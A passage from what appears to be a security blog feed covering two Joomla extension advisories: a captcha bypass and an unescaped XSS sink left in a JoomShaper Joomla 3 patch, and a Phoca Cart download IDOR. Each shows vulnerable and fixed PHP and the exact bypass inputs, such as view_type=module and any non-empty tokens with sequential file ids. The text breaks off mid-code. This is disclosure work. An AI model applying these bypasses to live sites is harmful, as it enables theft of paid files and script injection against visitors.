data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;5.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102426/&quot;&gt;CVE-2026-102426&lt;/a&gt;CVE-2026-102426: reflected XSS in the dynamic content filter addon&lt;/p&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA, published 5 October 2026&lt;/span&gt;&lt;/p&gt;&lt;p&gt;A crafted link to a page using the dynamic content filter prints the attacker&apos;s HTML into the page, so their script runs in the visitor&apos;s browser as your site. It needs someone to click the link, and it is worse when that person is logged in as an administrator. Joomla 3 branch only. Fixed in 1.0.3.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Victim must click a link&lt;/span&gt;&lt;span&gt;Reflected XSS&lt;/span&gt;&lt;span&gt;Joomla 3 only&lt;/span&gt;&lt;span&gt;Fixed in 1.0.3&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:P&lt;/dt&gt;&lt;dd&gt;Passive: Someone has to visit a page&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The captcha bypass that never reached Joomla 3&lt;/h2&gt;
&lt;p&gt;SP Page Builder’s Pro form addons verify their captcha in a public AJAX handler that anyone can call. The bypass, &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/#the-captcha-check-that-does-not-run&quot;&gt;described in full in the 6.9.1 write-up&lt;/a&gt;, is that the handler reads a &lt;code&gt;view_type&lt;/code&gt; value straight from the request, and when that value says the form is being rendered inside a module, the code throws away the real captcha result and replaces it with a test of whether the submitted token is merely non-empty. Declare &lt;code&gt;view_type=module&lt;/code&gt; and the captcha is gone. It is published as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-79701/&quot;&gt;CVE-2026-79701&lt;/a&gt;, with an affected range reaching back to 3.2.6, so every Joomla 3 build has been in scope the whole time. Rather than issue a new number for the Joomla 3 branch, the Joomla CNA is extending that same record, since it is one defect across two branches.&lt;/p&gt;
&lt;p&gt;That override was still present, word for word, in the files the 1.0.2 patch shipped for the contact form and the form builder. The opt-in form, the third addon of the same family, was not in the patch at all, so a Joomla 3 site kept whatever it already had there. The one fix in the round that an anonymous attacker could reach without any account was the one the Joomla 3 patch did not apply.&lt;/p&gt;
&lt;p&gt;We proved it the same way as on the modern branch: two submissions to the contact addon with the same invalid reCAPTCHA token, identical apart from one field. Without &lt;code&gt;view_type&lt;/code&gt;, the response was “Invalid Recaptcha”. With &lt;code&gt;view_type=module&lt;/code&gt; and a matching module id, the response was the mail stage, so the captcha gate had already been passed. One field, two outcomes, the same junk token.&lt;/p&gt;
&lt;p&gt;Version 1.0.3 removes the module override from all three addons, the opt-in form now included, so the captcha plugin’s verdict is the one that counts in every render context.&lt;/p&gt;
&lt;h2&gt;An XSS fix that stopped one character short&lt;/h2&gt;
&lt;p&gt;The 1.0.2 patch also introduced a new file, the dynamic content filter addon, as its cross-site scripting fix, and added fifteen &lt;code&gt;htmlspecialchars&lt;/code&gt; calls to it. Two sinks were missed, and they were on lines the patch itself had edited.&lt;/p&gt;
&lt;p&gt;The addon renders a range slider whose minimum and maximum come from a request parameter. On the label line, the value was escaped inside the &lt;code&gt;data-value&lt;/code&gt; attribute and then printed again, unescaped, as the element’s own text content a few characters later:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$output &lt;/span&gt;&lt;span&gt;.=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;&amp;lt;span class=&quot;slider-min-value&quot; data-value=&quot;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;htmlspecialchars&lt;/span&gt;&lt;span&gt;($minValue,&lt;/span&gt;&lt;span&gt; ENT_QUOTES&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;UTF-8&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;&quot; data-field-id=&quot;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $fieldId &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;&quot; &amp;gt;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;$minValue&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first &lt;code&gt;$minValue&lt;/code&gt; is safe. The second, in the text node, was not, so a crafted value reflected straight into the page. The escaping had reached the attribute and stopped before the text a few characters to its right. Version 1.0.3 wraps both, matching the complete fix already present on the 6.x branch. The Joomla security team assigned it &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102426/&quot;&gt;CVE-2026-102426&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The through-line across this vendor’s last several rounds is exactly this shape: the fix reaches the reported location and not the sibling running the same code. The &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;6.8.0 remote code execution&lt;/a&gt; sat in the method directly below the one hardened in 6.7.1. Here the correction reached one of two values on a single line, and skipped the opt-in form entirely.&lt;/p&gt;
&lt;h2&gt;Only 5.6.1 sites can install it&lt;/h2&gt;
&lt;p&gt;The harder limitation is unchanged from 1.0.2, and it is not about any one finding. The patch checks the installed version and will not run on anything except SP Page Builder 5.6.1 exactly. Across the Joomla 3 sites we monitor that run SP Page Builder, only about 3% are on 5.6.1. For the other 97%, this patch will not install, and neither will 6.9.1. The largest single group is on SP Page Builder 3.8.x, and it has no official fix at all.&lt;/p&gt;
&lt;p&gt;There is a second, quieter problem, and it is one we had already raised with JoomShaper. The patch installs as a Joomla file package: it overwrites files in place and, once applied, the component still reports its own version as before. To any updater, and to any scanner that reads a version number, a patched Joomla 3 site looks identical to one that has never been touched. A security fix you cannot detect is one you cannot manage across more than a handful of sites.&lt;/p&gt;
&lt;h2&gt;Apply 1.0.3 in one click with mySites.guru&lt;/h2&gt;
&lt;p&gt;A version number cannot tell a patched Joomla 3 site from an unpatched one, so mySites.guru reads the files instead. The &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/unpatched-joomshaper-holes/&quot;&gt;Unpatched JoomShaper Security Holes&lt;/a&gt; tool runs on each snapshot of a connected Joomla 3 site and looks inside the installed files for a string that exists only in a given release of JoomShaper’s patch. For Helix Ultimate, Helix3 and SP Page Builder it reports whether the extension is installed, whether any patch has been applied, and whether the applied patch is the current release. It now recognises 1.0.3, so a site still on 1.0.2 shows as needing the update rather than as a green tick it has not earned.&lt;/p&gt;
&lt;p&gt;Applying the patch is one click on that site’s tool page. When you click it, mySites.guru:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;backs up the files the vendor package is about to overwrite, and stops if the backup fails&lt;/li&gt;
&lt;li&gt;downloads JoomShaper’s own 1.0.3 package from our CDN and checks it against a pinned SHA-256, so the site receives the exact file JoomShaper published&lt;/li&gt;
&lt;li&gt;installs it through Joomla’s own extension installer, so the vendor’s version check runs and a site on the wrong SP Page Builder version is turned away, just as it would be if you installed the package by hand&lt;/li&gt;
&lt;li&gt;reports the outcome per extension, so a failed backup, download or install shows up as a failure on the page instead of a success with nothing changed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Undoing it is one click too, restoring the backed-up originals. We install the whole vendor package because the patched files call methods that exist only in other patched files, so splicing them in one at a time would leave a site that fatals.&lt;/p&gt;
&lt;p&gt;The tool also covers one hole that no JoomShaper package reaches: a local file include in the SP Page Builder 3.8.x addon loader. The vendor patch installs only onto 5.6.1, so for 3.8.x sites the tool applies a small guard to that one line, with its own backup and its own revert.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Why a monitoring service suits this kind of patch&lt;/p&gt;&lt;div&gt;&lt;p&gt;Joomla’s updater, the Extensions manager and any scanner that compares version numbers all read a patched site and an unpatched one as the same, so confirming the fix means opening the files on each site. JoomShaper has also shipped four releases of the SP Page Builder package since July, and several of the Helix Ultimate one, and each new release turns a “patched” site back into an outdated one. mySites.guru repeats the file check on every snapshot of every connected site and flags the ones that fall behind, so you are not keeping a spreadsheet of which client site took which release.&lt;/p&gt;&lt;p&gt;We also read these packages closely ourselves. The two gaps that 1.0.3 fixes were found by us while checking 1.0.2, and the tool moved to 1.0.3 only after we had read the files JoomShaper released.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If you look after Joomla 3 sites that run SP Page Builder, Helix Ultimate or Helix3, &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;connect them to mySites.guru&lt;/a&gt; and the tool will show you which ones are exposed, then patch them in a click. See &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; for plans.&lt;/p&gt;
&lt;p&gt;Apart from that one guard, none of this helps the sites the vendor patch will not install onto. Joomla 3 reached end of life in August 2023, and &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;the extensions built for it are following it out&lt;/a&gt;. The fix for those sites is &lt;a href=&quot;https://joomla3security.com/options/#migrate&quot;&gt;the migration that has been waiting&lt;/a&gt;, not another patch. Until then, the findings that need a logged-in account are the ones to think hardest about: audit who holds Author and Editor, and turn off self-registration where nothing depends on it.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;14 September 2026&lt;/strong&gt; SP Page Builder 6.9.1 ships, with a separate Joomla 3 patch JoomShaper released 6.9.1 for the modern branch and, alongside it, the Joomla 3 Security Patch version 1.0.2 for sites that cannot run 6.x. The Joomla CNA published six CVE records for the 6.9.1 findings the same day, all crediting Phil Taylor of mySites.guru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;14 September 2026&lt;/strong&gt; We report two problems in the 1.0.2 Joomla 3 patch Verifying the released packages, we found the module-context captcha bypass (CVE-2026-79701) was still live in the files the Joomla 3 patch shipped, with the opt-in form addon not shipped at all, and the patch&apos;s cross-site scripting fix escaped only one of the two sinks on the lines it edited. Both proved live on a Joomla 3.10.12 test site, reported to JoomShaper with the Joomla security team copied in.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;15 September 2026&lt;/strong&gt; JoomShaper acknowledges and starts work Support confirmed the report and said the development team would update the Joomla 3 patch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;30 September 2026&lt;/strong&gt; Version 1.0.3 ships, and we verify it JoomShaper released the corrected Joomla 3 Security Patch, version 1.0.3. We read the released files and confirmed the module-context captcha shortcut is gone from all three form addons, the opt-in form is now shipped, both dynamic content filter sinks are escaped, and the captcha type is read from the stored addon rather than the request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;30 September 2026&lt;/strong&gt; The Joomla CNA assigns the CVE numbers The Joomla security team assigned CVE-2026-102426 for the dynamic content filter XSS, and extended the existing CVE-2026-79701 to cover the Joomla 3 branch for the captcha bypass rather than issuing a new number, since it is the same defect on an older branch.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/&quot;&gt;The SP Page Builder 6.9.1 disclosure&lt;/a&gt; - the full round this Joomla 3 patch back-ports, including the SQL injection and the captcha bypass mechanism in detail.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/downloads/extension/sp-page-builder-joomla-3-security-patch&quot;&gt;JoomShaper&apos;s Joomla 3 Security Patch for SP Page Builder&lt;/a&gt; - the vendor&apos;s download page for the patch package.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;JoomShaper&apos;s third Joomla 3 security patch for Helix Ultimate&lt;/a&gt; - the same file-package pattern, and the same version-invisibility problem, in a sibling product.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Cross-site Scripting&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/807.html&quot;&gt;CWE-807: Reliance on Untrusted Inputs in a Security Decision&lt;/a&gt; - the weakness classes behind the two issues.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;JoomShaper&lt;/a&gt; - the vendor&apos;s site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/vendors/joomshaper/&quot;&gt;JoomShaper&apos;s Joomla 3 record&lt;/a&gt; - what JoomShaper has said and shipped for Joomla 3, in date order, with sources.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>sp page builder</category><category>captcha bypass</category><category>xss</category><category>joomla 3</category><category>vulnerability</category><category>responsible disclosure</category><category>sppagebuilder</category><enclosure url="https://mysites.guru/img/og/blog/sp-page-builder-joomla-3-security-patch-1-0-3.png" length="0" type="image/png"/></item><item><title>Phoca Cart 6.1.9 stops anyone downloading other customers&apos; paid files</title><link>https://mysites.guru/blog/phoca-cart-6-1-9-download-idor/</link><guid isPermaLink="true">https://mysites.guru/blog/phoca-cart-6-1-9-download-idor/</guid><description>Phoca Cart before 6.1.9 let anonymous visitors download the digital products other customers bought. Only the Joomla 6 line is fixed, and 6.1.8 is affected.</description><pubDate>Thu, 01 Oct 2026 18:24:48 GMT</pubDate><content:encoded>&lt;p&gt;On 1 October 2026 Phoca released &lt;a href=&quot;https://www.phoca.cz/news/1522-phoca-cart-version-6-1-9-released-security-release&quot;&gt;Phoca Cart 6.1.9&lt;/a&gt;, a security release for the Joomla e-commerce extension. The announcement names the flaw in one line: “Authorisation bypass through user-controlled key (IDOR) in Order View”, with more detail promised in a CVE record. The Joomla CNA published it as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102775/&quot;&gt;CVE-2026-102775&lt;/a&gt; on 5 October 2026.&lt;/p&gt;
&lt;p&gt;We read the &lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/6.1.9&quot;&gt;6.1.9 package&lt;/a&gt; to work out what that means for a shop. It means anyone could download the digital products your other customers paid for, without an account. If your shop sells downloads, anyone could have taken your stock for free.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Phoca Cart before &lt;strong&gt;6.1.9&lt;/strong&gt; checked that a download token and an order token had been sent with a download request, but &lt;strong&gt;never checked that they were correct&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Any visitor, &lt;strong&gt;logged in or not&lt;/strong&gt;, could fetch any purchased file by its sequential id, and each fetch counted against the real buyer’s download limit&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6.1.8 is affected.&lt;/strong&gt; Shops that installed the August security release need to update again&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Only the Joomla 6 line is fixed.&lt;/strong&gt; The current releases for Joomla 5 (5.2.4), Joomla 4 (4.0.13) and Joomla 3 (3.5.8) contain the same code and no fix&lt;/li&gt;
&lt;li&gt;Joomla 5 sites will not be offered 6.1.9 by the updater. Install the package by hand&lt;/li&gt;
&lt;li&gt;The flaw is &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102775/&quot;&gt;CVE-2026-102775&lt;/a&gt;, CVSS 4.0 8.7 High, published by the Joomla CNA on 5 October 2026. This is Phoca’s fix; we analysed the release after it shipped&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102775/&quot;&gt;CVE-2026-102775&lt;/a&gt;CVE-2026-102775: unauthenticated download of other customers&apos; purchased files&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Any visitor can download every digital product sold through the shop, along with whatever else was attached to an order as a download. Nothing on the site is changed.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Paid files exposed&lt;/span&gt;&lt;span&gt;No fix on Joomla 3, 4 or 5 lines&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How the Phoca Cart download check failed&lt;/h2&gt;
&lt;p&gt;When a customer buys a downloadable product, Phoca Cart creates a row for the file against their order and gives it a download token. The order has its own token too. A guest buyer downloads the file by sending both tokens back, and a logged-in buyer is recognised as the owner of the order.&lt;/p&gt;
&lt;p&gt;The download task in &lt;code&gt;admin/libraries/phocacart/download/download.php&lt;/code&gt; loaded the file row from the numeric id in the request, then ran its ownership check. Here it is from 6.1.8:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// CHECK USER AND TOKEN&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ((&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;)$user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;id &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; ($tokenDownload &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt; ||&lt;/span&gt;&lt;span&gt; $tokenOrder &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;isset&lt;/span&gt;&lt;span&gt;($file&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;userid) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; ($tokenDownload &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt; ||&lt;/span&gt;&lt;span&gt; $tokenOrder &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ($user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;id &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; $file&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;userid &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; ($tokenDownload &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt; ||&lt;/span&gt;&lt;span&gt; $tokenOrder &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each condition ends in “the token is empty”. None of them compares the token sent with the token stored. So a visitor who is not the owner gets through by sending any two non-empty strings as &lt;code&gt;d&lt;/code&gt; and &lt;code&gt;o&lt;/code&gt;. The file ids are sequential integers, so finding the files takes nothing more than counting.&lt;/p&gt;
&lt;p&gt;The only other gate in front of it is Joomla’s form token check in the download controller. That is a protection against cross-site request forgery, not a login, and any visitor receives one from a page with a form.&lt;/p&gt;
&lt;p&gt;The download limits in Phoca Cart’s settings still applied, and that has a side effect a shop owner should know about. Each stolen download added to the file’s hit count, so a buyer whose shop limits the number of downloads may have found their allowance used up by someone else.&lt;/p&gt;
&lt;h2&gt;What changed in Phoca Cart 6.1.9&lt;/h2&gt;
&lt;p&gt;The fix is thirteen lines in the same function. The visitor now has to be the logged-in owner of the order, or send both tokens and have each match the stored value, compared with &lt;code&gt;hash_equals()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$isOwner &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ((&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;)$user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;id &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; isset&lt;/span&gt;&lt;span&gt;($file&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;userid) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;)$user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;id &lt;/span&gt;&lt;span&gt;===&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;)$file&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;userid);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$isOwner) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; ($tokenDownload &lt;/span&gt;&lt;span&gt;===&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;span&gt; ||&lt;/span&gt;&lt;span&gt; $tokenOrder &lt;/span&gt;&lt;span&gt;===&lt;/span&gt;&lt;span&gt; &apos;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        ||&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt;isset&lt;/span&gt;&lt;span&gt;($file&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;download_token) &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt;isset&lt;/span&gt;&lt;span&gt;($file&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;order_token)&lt;/span&gt;&lt;/span&gt;
